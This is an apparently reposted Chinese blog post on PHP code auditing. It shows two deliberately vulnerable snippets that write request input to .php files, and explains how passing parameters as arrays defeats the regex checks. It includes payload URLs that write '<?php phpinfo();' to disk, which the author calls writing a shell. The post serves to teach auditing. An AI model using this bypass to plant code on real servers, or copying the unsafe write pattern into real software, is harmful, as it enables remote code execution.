前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一个审计的小trick

一个审计的小trick

作者头像
安恒网络空间安全讲武堂
发布2018-12-27 15:26:54
3830
发布2018-12-27 15:26:54
举报
代码语言:javascript
复制
<?php
function is_valid($title, $data)
{
    $data = $title . $data;
    return preg_match('|\\A\[ _a-zA-Z0-9\]+\\z|is', $data);
}

function write_cache($title, $content)
{
    if (!is_valid($title, $content)) {
        exit("title or content error");
    }

    $filename = "1.php";
    file\_put\_contents($filename, $content);
}
$title = $_GET\['title'\];
$content = $_GET\['content'\];
write_cache($title,$content);

主要问题还是在于

代码语言:javascript
复制
function is_valid($title, $data)
    {
        $data = $title . $data;
        return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
    }

验证函数的弱类型问题 如果正常传入参数,显然是没有问题的 但如果我们传入数组的话: payload:

代码语言:javascript
复制
htt http://localhost/web/trick1/index.php?title=sky&content[]=<?php%20phpinfo();

可以清楚看见

代码语言:javascript
复制
H:\wamp64\www\web\trick1\index.php:5:string 'skyArray' (length=8)
H:\wamp64\www\web\trick1\index.php:16:
array (size=1)
  0 => string '<?php phpinfo();,123' (length=20)

此时的数组,传入验证函数里的时候,会变成Array,这样就可以完美的绕过检测了 再看一题:

代码语言:javascript
复制
<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
file_put_contents('config.php', $text);

此时我们传入payload:

代码语言:javascript
复制
http://localhost/web/trick1/index.php?text=%3C?php%20phpinfo();

会回显:

代码语言:javascript
复制
error!

明显我们的shell被waf拦下了,但如果利用这个弱比较的trick:

代码语言:javascript
复制
http://localhost/web/trick1/index.php?text[]=%3C?php%20phpinfo();

则可以成功写入shell

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档